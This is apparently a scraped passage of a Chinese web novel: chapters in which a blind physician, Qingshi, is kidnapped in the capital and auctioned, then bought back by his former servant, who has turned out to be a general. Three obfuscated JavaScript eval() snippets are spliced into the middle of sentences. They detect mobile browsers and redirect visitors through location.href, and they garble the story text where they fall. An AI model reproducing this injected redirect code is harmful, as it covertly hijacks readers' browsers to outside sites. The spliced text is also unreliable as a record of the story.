耳边听到旁人善意的笑声,青时有些难为情,推了推顾九黎想让他放开自己,“大黑,我没事,只是两天两夜没洗澡,我都快馊了。” 顾九黎顺从地被推开,轻声回应,“出门前我已经烧好热水,您回去就能洗了。” “那我们快回家吧!”青时带着顾九黎从地上站起来,刚走两步就感觉自己脑袋发晕,眼前发黑,差点又坐回地上。 “少爷!”顾九黎扶住踉跄的青时,“我背您回去吧。” “好。”青时实在是没有力气多话,两天没合眼加上滴米未进,他还清醒着已经是个奇迹了。 顾九黎背上人往回走,青时看不到他此时满脸的胡茬和布满红血丝的双眸,没人知道青时关在牢里这两天他内心的焦灼与不安。 “大黑,你说那刘家大郎为什么会来替我翻案呢?”青时枕在顾九黎的肩头,问出心中的疑惑。 “呵,”顾九黎冷笑一声,“可能是再不说就要被赶尽杀绝了吧。” “嗯?”青时想到疯癫的朱晓,“也是,那朱二公子朱晓是个会做出灭口之事的人。” 顾九黎脚步一顿,“朱二去找过你?” “是啊,”青时迷迷糊糊回答,“刚入狱那天晚上他就过来了,还说了些倒胃口的话。对了,刘家大郎替我翻案那朱晓不会报复他吧……” 顾九黎舌尖抵住后槽牙,眼中闪过一抹杀意,“放心吧,他现在自顾不暇了。朱家即将上供的一批顶级布料突然失火烧了个精光,放布料的仓库是朱二名下的。” “唔,这样啊,”青时嘟囔着,“果然是坏人自有天收。” “哥!大黑!你们终于回来了,担心死我了!”一回到家宋青玉就冲两人跑过来。 “我没事,”青时从顾九黎肩头抬起头,“害你担心了,青玉。” “害,别说那些有的没的了,回来就好,”宋青玉小大人般叹了口气,“哥你和大黑两人赶紧都去洗洗,好好睡一觉吧。” “哥你是不知道,你离开了两天,大黑也两天没合眼了。” 闻言青时很是震惊,“大黑你……” 顾九黎将人放到院中的椅子上,转移话题,“青时少爷,我去给你倒热水。” 在顾九黎进了厨房后,宋青玉凑到青时耳边轻声说:“哥,大黑这个仆人认得真值,老爹对我都没这么好。” 听到这话青时默然了,因为他知道男主只是因为失忆将自己代入了仆人角色,现在做的越多,恢复记忆回想起来就会越生气,他会因为震怒的男主而死这是他必走的剧情。 “哥?”宋青玉见青时听了他的话一直沉默不语有些疑惑。 青时勉强勾了勾唇角,“是啊。” “青时少爷,热水倒好了,可以洗澡了。”顾九黎的声音从厨房里传出,青时在宋青玉的搀扶下进了浴室。 洗完热水澡,青时被顾九黎送回房间,他坐到床边昏昏欲睡,“大黑,我不行了,我先睡……” 顾九黎拦住他躺下的动作,“吃点东西再睡。” 青时扶住床架,自己两天两夜没吃过东西了,确实得吃点,“好,有什么吃的?” “我温了粥,等我拿过来。”说着顾九黎出门从厨房端来一碗温热的稠粥。 青时此时困意汹汹,正想着随便接过喝两口,却没想到…… 【叮!剧情推进任务:让顾九黎喂你喝粥至少5分钟。限时20分钟完成。】 青时接碗的手从半空绕回来,他微微叹了口气,“大黑,我手上没什么劲儿,能麻烦你喂……” “好。”青时的话还没说完顾九黎就接了话。 温润的陶瓷勺碰到青时的下嘴唇,青时想说什么最终却未说出口,只是沉默地喝起了粥。 一勺接一勺,顾九黎喂得很耐心,但青时本来胃口就不大,前面又吃得急,任务时长才过了三分钟他就饱了,于是他只好磨磨唧唧一点一点抿,企图混过剩下的两分钟,一小勺粥愣是喝出了天荒地老的感觉。 “?”口中的勺子忽然被抽走,青时茫然抬头,艳红的舌还停在淡色双唇外。 “喝不下就别勉强了,少爷。”顾九黎无奈道。 青时看着任务上剩余的30秒,拉住顾九黎的衣袖,“再吃两勺吧。” “……好。”顾九黎又舀了一勺粥递给青时。 青时用比刚才快一些的速度喝起粥,眼看30秒马上结束,他松了口气,直接将剩下的粥一口干了。 “咳咳咳……”然后就被呛到了。 “少爷,没事吧?”顾九黎伸手抚上青时的脊背,帮他顺气。 “没…没事。”青时摆摆手示意自己没事,下一秒却被一双手抬起下颌,他疑惑开口:“大黑?” 带着薄茧的手指擦过唇角,“这里,沾了一些。” 说完手指就离开了,留下莫名其妙的青时。 “睡吧,青时少爷。” 青时这一觉直接睡到了第二天下午,晚上顾九黎做了一大桌好吃的为他洗尘,正好王叔王婶那些被青时帮助过的村民听说他出狱也恰巧这时候过来看他,于是这一大桌好吃的就刚好被解决完了。 后面的日子那朱二公子也没再露过头,听去县里的村民说朱家的人现在闭门不出,不知发生了何事。 “哥!今日私塾有王都求知学宫的先生来考核,我拿了第一!”宋青玉进门就开始嚷嚷,“那位求知学宫的秦先生给我了一封推荐信,说我可以拿着它去求知学宫求学。” 求知学宫是大齐王朝最大的学宫,专门为大齐培养栋梁之材,可以说进了求知学宫你就相当于半只脚踏进了大齐的官场。 所以听到宋青玉的话青时十分惊讶,“想不到青玉你如此厉害,看来我们宋家是要出个大官了。” “哈哈哈,儿子这么出息,爹娘泉下有知也会很高兴的吧。”宋青玉得意道。 青时轻笑一声,“那位秦先生可有说去学宫有无时间限制?” 宋青玉想了一下,“唔,有的,先生说三个月内要到学宫报道。” “三个月……”青时想了一下从他们所处的甘州到王都晏城差不多有一千多里,“时间很紧啊,青玉你打算怎么去晏城呢,能否跟着那位秦先生一起前往?” “啊,不行啊,秦先生不回晏城,他还要去其他州考核。”热血上头的宋青玉被浇了盆冷水,“这可如何是好,我们自己租马车去?不行不行,万一遇上流寇跑都跑不了,哎……” “镇上镇远镖局最近要送一批货去王都,可以跟着他们一起去。”两人苦恼时顾九黎冷不丁地发声。 闻言宋青玉双眼一亮,“这可以啊!这办法好,大黑你怎么知道的!” 顾九黎:“前几日去镇上听说的。” “可以,”青时发话,“明日我就去镇远镖局和镖头谈谈。青玉你先收拾东西,到时候我和你一起去晏城。” 宋青玉:“啊? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299428|140220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哥你也去?你不是不喜欢人多的地方吗,晏城可是王都,肯定人山人海的。” “我怎么放心你一个人去那么远的地方,”青时轻叹,“起码得看到你进入学宫才行。” 宋青玉扑过来搂住青时的大腿,“哥你真好,呜呜呜。” “青时少爷,我呢?”顾九黎开口打断宋青玉的黏糊。 “大黑你当然得和我们一起,我们是一家人嘛!”宋青玉抢在青时之前开口。 一家人……顾九黎面色微怔,旋即勾起唇角,轻“嗯”一声。 * 插着镖旗的车队后段跟着一辆素色马车,赶车的正是顾九黎。 此时已进入夏季,天气逐渐变的炎热,顾九黎带着斗笠,汗水还是顺着脸颊流下。 这是青时他们跟着镖局行进的第十天,他们已经进入了并州与随州的交界地。 “大黑哥,你累不累,喝口水不?”清亮的女声传进马车,青时听出这是镇远镖局镖头林培的独女林莹莹的声音,他们跟着镖队出发这几日林莹莹每天都坚持不懈地来找男主顾九黎搭话。 真不愧是男主,走到哪儿都能吸引红颜知己。 “多谢姑娘,不必了。”顾九黎冷淡拒绝。 林莹莹已经被拒绝惯了,丝毫不气馁,毕竟她娘说过烈郎怕女缠。 这个名叫大黑的男人虽然只是个下人,但是体魄强健、面容俊朗,完全就是按照她的理想型长的,她爹说了遇到合适的就一定要拿下。 “那大黑哥你吃饼吗,这可是我娘亲手做的,很好吃。”林莹莹从怀里掏出还温热的麦饼。 “我不饿,姑娘留着自己吃吧。” 听见顾九黎毫不留情的回答青时有些啧舌,男主说话还真是耿直。 “那……那我先回前头了,你要是想吃就跟我说啊。”说完林莹莹就加快脚步往前跑了。 “哥,大黑也太不解风情了,林姑娘多好一姑娘,年轻活泼又漂亮的。”宋青玉靠近青时小声道。 青时一手拿着小扇子扇风一手戳了戳宋青玉的脑门,“怎么,春心萌动了?” “没有~”宋青玉忸怩地回答,“说实话,哥你喜欢什么样的女子?美若天仙?还是知书达理啊?” 马车前的顾九黎也支起耳朵想听听青时的回答是什么。 结果青时根本不跳坑,直接反问:“看来青玉你是成为小大人了,都开始和你哥我讨论喜欢的女子问题了,你先说说你喜欢什么样的,等到了晏城哥做主给你先定个亲。” “哥,我这还早呢,再说你都还没成亲咋能先轮到我呢,长幼有序。”宋青玉调皮道。 青时轻笑一声,“这个时候你知道长幼有序了,平时也没见你循规守矩啊。” “哎呀哥,你就说说嘛,弟弟我好奇地紧,咱们洒家村那么多女子喜欢你也没见你答应,你到底喜欢什么样的。”宋青玉抱着青时的手臂撒娇。 “你先松开,贴这么近,热死了。”青时嫌弃地推了推宋青玉,让他离自己远一点。 宋青玉撅着嘴松开手,在他以为青时不会回答的时候他听到了青时的声音:“我喜欢安静、体贴、能照顾我情绪、能一直陪伴我的人。” 宋青玉开玩笑,“噗,哥你这形容不会是照着大黑说的吧。” 车外的顾九黎忽然感觉到一阵战栗从心口向外迸发,如同火山喷发,滚烫的岩浆洒满了他身体的各个角落。 “嗯?有吗?”青时回顾了一下自己的说辞,好像是有点大黑的影子,他扯了扯自己汗湿的衣领,“巧合吧。” 9. 医师9 入夜。 这已经是镖队在野外露营的第三天了,距离下个驿站还有好几天的路程。 算上今天青时已经三天没洗过澡,每天汗不停流,却只能用水擦擦身,他感觉自己都快变成腌臭的咸菜了。 “青时少爷,没胃口吗?您最近吃的越来越少了。”顾九黎看着青时手里只破了点皮的馒头皱起眉。 青时摇摇头,“太热了,吃不下,我感觉我都快腌入味了,不知道什么时候能洗洗澡。” 顾九黎:“再吃点吧,我听他们说离这里不远有条小河,等下我带你过去。” “真的?!”青时瞬间起立,抓住顾九黎的衣服,“快带我去,我现在真的浑身难受。” “我也去,我也去。”宋青玉插话。 “你不能去,小孩子不能洗冷水澡,万一到时候风寒入体错过入学宫的机会,你可没地儿哭。”青时吓他。 “啊,那我还是不去了。”宋青玉悻悻道。 顾九黎牵起青时的手拉着他向树林里走,离他们营地不到一里地的地方有一条齐腰深的小河。 全身浸入冰凉的水中,青时顿时感觉自己活了过来,不由得发出一声喟叹。 “大黑,要一起洗吗?”他舀起一捧水浇到自己身上,问站在岸边的顾九黎。 顾九黎看着在月光下发光的人,视线跟着水珠一路向下,当听到青时的邀请时他抬头闭了闭眼,性感的喉结剧烈颤动,随后他背过身去,“不用了少爷,夜晚水凉别洗太久。” 青时终于把这几日的酸臭味从身上除尽,连头发他都没放过,洗了个干净。 拎着还在滴水的长发,青时走上岸,“大黑,我好了,我们回去吧。” “好。”顾九黎转身捡起地上的脏衣服,牵住青时两人慢悠悠地往回走。 夏夜听蝉鸣本是件浪漫的事,但过多的蝉鸣就是一种噪音了,青时只觉得耳边有一万个人在尖叫,吵得人不得安宁。 “嘶!”头上的拉扯感让青时停下脚步,他伸手摸了摸发现是自己的一缕头发缠在了树枝上,“大黑,等我一下,头发缠住了。” 说着他挣开被顾九黎牵着的手,双手去解缠在树上的头发,但因为看不见导致越解越乱,彻底缠死了。 顾九黎拦住他慌忙的手,“少爷,我帮你。” 林莹莹去找大黑得知人去附近的河里洗澡了,怀揣着可能能看见美人出浴的期待她找了个空档往林子里钻去,没走多远她就看到前面有个熟悉的人影。 她眼睛一亮伸手准备打招呼,但等她再往前两步,她注意到大黑身前还有一个人,那人正是大黑的少爷青时。 两人此时举止亲昵,大黑从背后将少爷青时抱在怀里,青时仰着头和大黑说着什么,而大黑神情温和,完全不似对她那般冷漠。 不会吧!林莹莹心头突然闪过一个离谱念头,她是知道大黑对他家少爷很好,但是这也太超过了…… 眼看两人分开,林莹莹咬了咬牙最终还是没上去打招呼,而是转身离开。 在她离开的瞬间,帮青时解开头发的大黑朝她先前所在的方向看了一眼。 “大黑,不走吗?”青时问。 “走吧。”顾九黎重新牵上青时的手,两人回了马车上。 回来的时候宋青玉已经睡着了,青时坐到车窗边将头发放在外面吹着,一块干布巾忽然盖到他头上,熟悉的大手在头顶轻柔地按揉移动。 青时:“大黑,不用擦的,等一会儿就干了。” “小心风寒。” 这天之后宋青玉发现时不时到大黑面前晃晃的林莹莹再也没来找过他,看到他们还会绕道走,于是他悄悄问顾九黎:“大黑,你把林姑娘怎么了,她看到我们怎么跟看到瘟疫一样?” 顾九黎瞥了一眼他,“谁知道呢,可能是不想在我身上浪费时间了。” “林姑娘不像是个半途而废的人呐。”宋青玉嘟囔。 跟着镖队历经两个多月青时他们终于来到了大齐王都——晏城,一路上除了屁股受点罪,没遇到其他大事。 他们在城门处和镖队辞别。 宋青玉看着四周高大的建筑和摩肩接踵的人群,一时有些胆怯,他第一次见到这么多的人,“哥,我们现在去哪?” 青时发觉宋青玉的不安,牵起他的手,“我们先找个客栈安顿下来,明日再送你去学宫。” 宋青玉:“好。” 三人找了个相对便宜的客栈,40文一晚。 计划很好,但变化来得更快。 第二天早上醒来青时就感觉自己身上像是压了几座大山,手脚无力,鼻尖呼出的气体带着灼人的温度。 走了这么远的路一朝放松下来,他病倒了。 他给自己把了脉,劳累气虚导致的寒气入体。 “青时少爷,把药吃了。”顾九黎扶起青时将药喂进他嘴里,又端着水杯凑到他唇边。 青时就着他的手喝了两口,虚弱道:“大黑,今日麻烦你送青玉去学宫报道,我实在……咳咳……” 顾九黎:“好,我去送,你好好休息。” 宋青玉蹲在青时床边,“哥你放心吧,我会好好读书光耀我们老宋家的门楣的,你也好好养病,早点好起来。” 青时摸了摸宋青玉的发髻,“你也放心,你哥我自己就是医师。” 宋青玉:“嗯!哥最厉害了。” “走吧。”顾九黎提上宋青玉的东西说道。 随着一声关门的咯吱声,房间里瞬间安静下来,青时只能听见自己轻而快的呼吸,他的意识模模糊糊不知道什么时候彻底昏睡过去。 而另一边顾九黎在把宋青玉送进学宫后,往回走时却发现有人在跟着自己,于是他将人引入无人小巷准备反杀,结果没等他动手那人看见他的脸扑通一声跪在了他面前。 “将军,真的是您!我就知道您没死!将军府第一卫队队长李阳拜见将军。” * 青时醒来时已经到了第二日白天,身上的病症减轻了很多,他总算有了下床的力气。 只是房间里好像还是只有他一个人,他喊了两声“大黑”,没人应。 男主人呢? 青时杵着自己的竹杖下楼问老板娘,结果听她说男主昨日出去后就一直未回。 难不成男主出事了? ——八八,男主应该不会有生命危险吧? 886:安啦,你出事他都不会有事的。 青时叹了口气,走出客栈想去找人,但站在门口听着外面嘈杂的人声他又迟疑了。 他在晏城人生地不熟,能去那里找人呢,要不,还是呆在客栈等? “这位公子可是第一次来晏城,需要向导吗,一天只需要10文。”一道谄媚的男声来到青时面前。 闻言青时往客栈内走的脚步一顿,也许他可以……< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299429|140220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “能麻烦带我去一趟求知学宫吗?”先去找青玉问问。 “当然可以啦,公子放心,我可是土生土长的晏城人,求知学宫闭着眼都能走到。”张大牛看着眼前一脸单纯的小公子,眸中闪过一丝淫邪。 前两天他就注意到这客栈里住进了一位模样俊秀的公子,只是当时他旁边还跟着个高大的同伴,不好惹。 不枉他在这客栈外蹲了三天,终于等到了这公子单独一人的时候。 张大牛注视着青时仅仅露出的下半张脸。以他多年的经验来看,这肯定是个上等货。 青时跟着张大牛走,走了好一段路,他发现周围好像越来越安静了,意识到不对,青时停下脚步,慢慢后退。 “唔……”结果没想到身后也有人,一块帕子捂住他的口鼻,他闻到了迷药的味道,意识很快陷入了沉寂。 青时被带走后不久一辆低调奢华的马车停到客栈前。 “将军,老板娘说住在地字三号房的公子今日早晨出了客栈后,再也未归。”李阳站在马车窗前报告。 闻言顾九黎一把捏碎手里的酒杯,咬牙切齿道:“宋,青,时!你好的很!” 没错,顾九黎那天跟着李阳回将军府后在府中医师的帮助下,他已经想起了全部。 一想到这段时间自己被当仆人使唤,偏偏自己还乐在其中,他就恨不得穿回去杀了那时候的自己,居然被一个破落村庄的小医师耍的团团转。 而且,遭遇刺杀的自己竟然恰好被他所救,这太巧合了,要不是府中医师说他失去记忆确实是因为头部收到撞击,他都要以为自己的失忆也是宋青时动的手脚了。 更重要的是他居然给他取名大黑!竟然给他堂堂大齐第一猛将取个跟狗一样的名字! 没想到他一醒过来就来逮人竟然还是被他给跑了,惹了他还想跑,跑得了嘛你! “传我命令,死要见人,活要见尸!”顾九黎吩咐。 李阳:“是。” * 三日后。 将军府。 顾九黎坐在庭院自己和自己下围棋,李阳一脸惭愧地上前报告:“将军,属下无能,那位宋公子像是人间蒸发一样,毫无消息。” 听见这话顾九黎眸色晦暗,“看来他身后还有大鱼啊……” 李阳猜测道:“将军的意思是他与刺杀您的人有关?” “哼,也不一定,说不定是黄雀。”顾九黎想到身在求知学宫的宋青玉,“可以派人去求知学宫前守株待兔,他亲弟弟在里面,总会有马脚露出的。” “是,将军。” “九黎!真是好久不见了!”爽朗的声音隔着老远传进顾九黎的耳中,他顺着耳熟的声音看过去,果然是他的损友马齐林,朝中马阁老的亲孙,一个游手好闲的纨绔子弟。 顾九黎挥挥手示意李阳下去,然后调侃道:“今日怎么有空来找我,不去你那含香阁、春风楼?” 马齐林摇了摇手中的折扇,“这不是听说我的好兄弟回王都了吗,来看看你。”他踱步来到庭院中坐到顾九黎对面,“听说你受伤了?严重不?” 顾九黎:“没事,好的差不多了。” “啧啧啧,”马齐林上下打量一番顾九黎,惊奇道:“九黎,我怎么瞧着你一副情场失意的模样,你实话告诉我,你消失这几个月到底干嘛去了?”他露出促狭的目光,“不会是被哪个美娇娘缠住了吧?” 10. 医师10 顾九黎眼前突然闪现过宋青时的脸,他恨恨地咬了咬牙,反驳道:“胡说什么呢你。” 马齐林撇撇嘴,“九黎你还是这般不解风情。”他眼珠一转,“九黎啊你离开这么久一定不知道王都又多了很多好玩的,比如城东就新开了一家专门拍卖珍宝的玲珑阁。” 他起身走到顾九黎身侧,“听说今晚玲珑阁会举行一场特殊的拍卖,要不要随兄弟我一同去瞧瞧热闹?” 顾九黎沉迷于和自己下棋,冷淡回应:“没兴趣。” “九黎,算兄弟求你了,”马齐林收起折扇抱拳,“那玲珑阁入场资格需要百万两以上资产,兄弟我最近囊中羞涩……” 顾九黎嗤笑,“你今日来找我其实就是为了这事儿吧,还说什么专门来看我。” “嘿嘿,”马齐林尴尬地笑笑,“话不能这么说,我这不是还听说玲珑阁的琼浆玉露酒是晏城一绝,想借此为你接风洗尘,顺便看看拍卖。” “呵,”顾九黎摇摇头不想与他多计较,“走吧。” “好嘞!”马齐林啪一下打开折扇又恢复成晏城富有盛名的风流翩翩公子,丝毫不见刚才的猥琐。 青时醒来发现自己被关在一个笼子里,周围很安静,偶尔能在远处听到人的脚步声。 他不知道自己在这里呆了多久了,隔一段时间会来人给他喂食水,量不多,只能保证他死不了,而且喂食的人从不回应他的问题和搭话。 青时想他应该是遇到人贩子了,他这么大个人居然在古代被人贩子拐了,说出去真的会被笑死。 不知道他被带到了哪里,这些人竟然只是关着他,难道卖他还要挑个良辰吉日? 青时不知道自己一语中的。 今日他没有等来喂食的人,而是等到自己被带出了笼子,一群人将他扒干净,又仔仔细细为他清洁身体,保证一点污垢都没有。 全身清洁完青时被套上一件轻薄的纱衣,他摸着料子这衣服穿了和没穿几乎没区别。 他们又在他的脚上和脖子上分别套上了圈,走动间青时能听到铃铛的响声。 最后他们将青时的双手绑在身前,嘴上也用丝带绑紧,又用绸带覆盖他的双眼。 做完这一切,青时感觉到有人在身前拉动他的双手,“跟我走。”沙哑的嗓音像是嗓子里含着浓痰。 青时被动跟着人往前走,不知道要被带往何处,他感觉自己应该是在往上走,难道之前是在地下? “感谢各位的到来,玲珑阁今日还有最后一件藏品,是什么,容玲珑我先卖个关子——”清丽的女声传到青时耳边,他心中一凛,这是在举行拍卖会吗? 那他…… 前面牵着他的人突然停下脚步,接着青时就被人推倒在某个铺着柔软毛皮的地方。 在青时惴惴不安的忐忑心情中,他感觉自己所处之地竟然开始上升,短短几秒耳畔便被嘈杂的人声占据,他似乎来到了一个有着很多人的地方。 青时咬着牙,不安地将自己蜷缩在一起,下一秒却被抓住头发,被迫抬起头。 青年姝丽的面容完整露出后,玲珑满意地听到了观众席的哗然。 “这是一位青涩的稚子,虽有眼疾,却是不可多得的佳品。”随着话音青时感觉自己眼前的绸布被人取下,太过浓烈的灯光让他不受控制地留下眼泪,他闭上眼想躲开,却被钳住下巴毫无保留地展示在人前。 “其中乐趣想必各位懂得都懂,玲珑就不多话了,起拍价十万两!” “二十万!”“二十五万!”“五十万!”…… “啧啧啧,这玲珑阁的压轴货居然是个人,还是个男人,”马齐林用折扇撑着下巴望着台上被毫无保留展示的青年,感叹,“不过长成这样是男是女好像也无所谓了哈。” 他调侃顾九黎,“九黎,他们争得这般激烈,你说我们要不要凑个热闹?” 话音刚落他就看见顾九黎将报价玉牌扔进候在一旁小二手中的托盘里,“?九黎你来真的?我开个玩笑而已。” 顾九黎没有理会他,只是双眼直直盯着拍卖台上那对他而言十分熟悉的人,口中报价:“一百万两……黄金。” “嘶——”马齐林顿时倒吸冷气,“九黎你疯了?” 小二十分有眼色,立马出去将顾九黎的报价报给总管。 站在拍卖台上的玲珑收到总管给的消息,眼中闪过一丝惊讶,随后走到台中间示意安静,“天字一号包间的客人出价一百万两……黄金,有比他出价更高的人吗?” “一百万两黄金?谁啊,这么财大气粗?” “不知道啊。” “人家都有包厢身份肯定不一般。”…… 台下观众议论纷纷。 “还有出价更高的吗?三……二……一!成交,一百万两黄金。” 他居然值一百万两黄金。跪在地上的青时自嘲,这些钱都能砸死他了。 拍卖结束后抓着青时的人将他带上楼,“客人,你的拍品给您送来了。” 茫然站在房间中的青时双手被缚,嘴巴也被绑着,流泪过度的眼角泛着红,整个人看上去有种凌虐的美感。 “我滴个乖乖!”近距离观看美人被冲击到的马齐林差点不争气的留下口水。 他还想说啥结果就听好友顾九黎冷哼一声抱起美人就出去了,“唉唉唉,你这就走了,见色忘友吗?!” 顾九黎没有理会马齐林的叽叽喳喳,抱着人就上了自己马车。 而青时从这人怀里感受到一种莫名的熟悉,这人…… 顾九黎没将人放下,他看着怀中人艳红的眼角,胸腔中又是怒又是心疼,妄他猜测来猜测去没想到这人竟然沦落到被卖了去,他早该想到的,一个眼盲之人跑得再快怎么可能不留一点痕迹。 他伸手解下青时脑后的活结,嘴里的绸带被他拿出,牵连出几条银丝。 “咳咳咳……”青时咳嗽几声终于合上自己快脱臼的下巴,他喘息缓了一会儿,试探问道:“大黑,是你吗?” 再次听到这个狗名字,顾九黎舌头顶了顶侧颊,幽幽道:“少爷,你是不是有事瞒着我?” 青时浑身一僵,“你说……什么事啊?” 顾九黎:“前几日有人找到我,说我是什么将军府的大将军,我不是少爷你买回去的仆人吗?” “呃……可能你被卖之前是大将军?”青时试图圆谎,“你记忆恢复了?”问这话时青时眼底有些小期待,毕竟男主记忆回复=他完成任务下线。 顾九黎本想借此机会戳穿这个满口谎话的少爷,结果话到嘴边却变成了:“虽然回到了将军府,但是我的记忆还没有恢复,少爷你可以跟我一起回去吗,我一个人呆在那有些害怕。” “啊?”青时惊讶得微微张口,男主怎么突然变得有点茶? “不行吗,少爷?”顾九黎发现自己叫少爷叫得顺口极了。 不管青年是螳螂还是黄雀,他将人放在自己眼皮子底下,总不会叫他翻出手掌心的。 “……行吧。”青时答应了。 ——八八,你能不能找你朋友打听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299430|140220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一下男主的记忆啥时候会恢复啊? 886:不行啊,这涉及主线了。 ——要你何用。 青时内心叹气。 得到满意的回答顾九黎勾起唇角,解开束缚住青时双手的绳子,看到被勒出淤青的手腕,他眼神一凛,随后从车厢暗格拿出上好的药膏仔细涂抹在青时的伤处。 “嘶——”冰凉的药膏里应该添加了一些刺激的成分,青时轻嘶一声下意识想抽回自己的手。 “别动。”顾九黎一手钳住两个纤细的手腕,看着青时瑟缩的身体,脑海中自动回想起在洒家村他给青年洗脚上药时,他的神情就是这样一副被人欺负惨了的样子。 还好当时遇到的是他这个正人君子,不然,他早就被吃的骨头都不剩了。 想着想着顾九黎心中有些酸溜溜的,明明那个大黑就是失去记忆的他,但每次当他回忆起大黑有关的记忆时他却恨不得回到过去以身代之。 青时感觉顾九黎涂药的手法越来越重,他咬牙忍了一会儿,终于没忍住开口,“大黑……呃,将军,还没好吗?” 顾九黎回神看到他额头的薄汗,松开手,“已经好了。唤将军太生分了,我本名顾九黎,少爷可唤我九黎。” “好。” “将军,到家了。”马车停在了将军府前。 顾九黎将人安置在自己房间的侧厅,累极的青时倒头就睡。 顾九黎看了一会儿他无知无觉的睡颜,随即给人盖上被子关门出去。 门外候着的李阳汇报道:“将军,绑架宋公子的人已经抓到了,人在地牢里。您让属下查的玲珑阁是最近几个月才出现的,据说背后有上面的人参与。” “呵,我正想抓他们把柄呢,他们就巴巴给我递刀。”顾九黎嗤笑道。 阴暗的地牢。 张大牛被关押在单独的牢房,听着四周传来的激烈惨叫瑟瑟发抖,他都不知道自己是哪里惹到了将军府的人,真是太倒霉了。 “吱呀”牢门被打开,两个人进来压着张大牛出去。 张大牛苍白着脸,声音颤抖,“两位官爷,这是要带小人上哪去啊?” “将军要见你,快走,别墨迹!” “将军……”张大牛上下牙齐齐磕碰,欲哭无泪,大齐能被称为将军的就一位——威武将军顾九黎,他十五岁便带兵出征,十年来无一败绩,敌国军队听见他的名字就会闻风丧胆。 传闻他身高九尺,面容凶恶似恶鬼,杀人如麻,又有“夜煞”之称。 这样的人突然要见他一个普通百姓,怎么想都不会是好事。 “将军,人带来了。” 张大牛被推进一间刑房,眼前的地面上站立着一双墨色金绣云纹锦靴,他缓缓抬头,看到了一张十分眼熟的脸。 他颤抖着抬起手,“你……你就是……” “大胆!看到将军还不行礼!”有人从背后揣向他的膝弯,张大牛扑通一声跪倒在地。 张大牛眼前一黑,差点晕厥过去,他趴跪在地抖着牙:“小人……拜见……将军……” 完了,全完了! “呵,”顾九黎轻笑一声,“你知道我找你是因为什么事吧?” 张大牛疯狂咽口水,“知道……知道的,但是将军!绑人的是玲珑阁的朝奉赤良,我只是……只是将人带过去而已啊,将军!” 顾九黎好奇问:“哦——你是怎么让他跟你走的?” “我……那位公子说想去求知学宫,找我给他带路。”张大牛惶恐道。 11. 医师11 闻言顾九黎喃喃自语:“啧,比我想得更傻。” 张大牛悄悄抬眼看向顾九黎,见他面色没有不愉,斗胆道:“将军,那位公子现如今应该还在玲珑阁,小人愿戴罪立功去见玲珑阁赤良让他放人。” “不必了,”顾九黎踱步走出刑房,冷漠残酷地声音回荡在满墙暗红血液的空间,“将他的舌头割了,打断手脚扔出去。” “不——不要啊,将军饶命,啊啊啊啊……”张大牛绝望地求饶转变为痛苦惨叫。 走出地牢的顾九黎抚了抚自己并没有灰的衣袖,有些突兀地想他不会是被失忆的自己传染了一些奴性吧,不然他为什么会对伤害了青年的人感到这么愤怒。 就像他之前为了青年半夜爬进人家仓库放火,还幼稚的套人麻袋。简直逊毙了。 李阳:“将军,玲珑阁,要如何处置?” “买卖人口这个罪名还不够吗,查封。”话未过脑便已出口,顾九黎轻“啧”一声,拂袖离开,徒留摸不着头脑的卫队长李阳站在原地。 * 早餐青时喝了几口粥便吃不下了,顾九黎看着他消瘦的身体眉头一皱,夹了一筷子青菜到他碗里,“再吃点,都瘦脱相了。” “……”青时又提筷吃了几口,结果好不容易将碗里的青菜塞下去,顾九黎又一筷过来。 青时感觉菜都满到嗓子眼了,无奈放下碗筷,“大黑…啊不是,九黎,我真吃不下了,再吃要撑吐了。” “啧,小猫胃口。”顾九黎评价。 “九黎兄~”穿着花花绿绿的马齐林一大早便来了将军府,“你昨日在玲珑阁为美人豪掷万金的消息整个晏城都传遍了,哈哈哈,他们都说你多年不近女色原来是唯爱男颜。” “呦,吃饭呢。”马齐林注意到餐桌边的两人,凑上前他上下打量一番身着银白宽袖长袍的青时,眼里满是赞赏,“哇塞,嫂子你可真漂亮,上一个我见过能把云锦撑起来的人还是沈家老二。” “啊?”青时被他的称呼整蒙了,“你误会了,我不是……” 听完青时的解释,马齐林终于理解两人并不是他以为的关系,“所以说青时你救了九黎,然后现在九黎又救了你,你们只是恩人关系,我明白了。” 他坐到青时身侧,问:“那青时你娶妻了吗?有喜欢的人吗?” “嗯?”青时不知道他为什么忽然问这个问题,但还是老实回答,“没有,都没有。” “真的吗!”马齐林抓起青时的双手深情道,“那你看我怎么样,我叫马齐林,样貌不俗,略有薄产,祖父是朝中阁老,更重要的是我平日空余时间多,能花更多时间陪你。” “噗,抱歉马公子,我暂时不考虑这些。”青时抽回自己的手,弯起眉眼。 